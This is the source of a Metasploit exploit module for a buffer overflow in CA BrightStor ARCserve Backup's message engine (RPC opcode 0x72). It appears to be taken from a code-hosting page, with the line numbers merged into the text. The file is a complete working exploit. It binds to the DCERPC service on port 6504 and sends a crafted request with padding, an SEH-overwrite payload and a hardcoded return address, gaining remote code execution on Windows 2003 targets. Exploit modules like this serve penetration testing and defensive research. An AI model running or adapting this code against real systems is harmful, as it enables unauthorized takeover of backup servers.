Path: blob/master/modules/exploits/windows/brightstor/message_engine_72.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::DCERPC9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'CA BrightStor ARCserve Message Engine 0x72 Buffer Overflow',16'Description' => %q{17This module exploits a buffer overflow in Computer Associates BrightStor ARCserve Backup1811.1 - 11.5 SP2. By sending a specially crafted RPC request, an attacker could overflow19the buffer and execute arbitrary code.20},21'Author' => [ 'MC' ],22'License' => MSF_LICENSE,23'References' => [24[ 'OSVDB', '68329'],25[ 'URL', 'http://www.metasploit.com/users/mc' ],26],27'Privileged' => true,28'DefaultOptions' => {29'EXITFUNC' => 'thread',30},31'Payload' => {32'Space' => 600,33'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",34'StackAdjustment' => -3500,35},36'Platform' => 'win',37'Targets' => [38[ 'BrightStor ARCserve r11.5/Windows 2003', { 'Ret' => 0x2380ceb5 } ],39],40'DisclosureDate' => '2010-10-04',41'DefaultTarget' => 0,42'Notes' => {43'Reliability' => UNKNOWN_RELIABILITY,44'Stability' => UNKNOWN_STABILITY,45'SideEffects' => UNKNOWN_SIDE_EFFECTS46}47)48)4950register_options([Opt::RPORT(6504)])51end5253def exploit54connect5556handle = dcerpc_handle('506b1890-14c8-11d1-bbc3-00805fa6962e', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])57print_status("Binding to #{handle} ...")5859dcerpc_bind(handle)60print_status("Bound to #{handle} ...")6162sploit = NDR.string(rand_text_english(760) + generate_seh_payload(target.ret) + "\x00") + NDR.long(0)6364print_status("Trying target #{target.name}...")6566begin67dcerpc_call(0x72, sploit)68rescue Rex::Proto::DCERPC::Exceptions::NoResponse69end7071handler72disconnect73end7475end76=begin77/* opcode: 0x72, address: 0x28E893D0 */7879short sub_28E893D0 (80[in] handle_t arg_1,81[in][ref][string] char * arg_2,82[in, out][ref] long * arg_383);84=end858687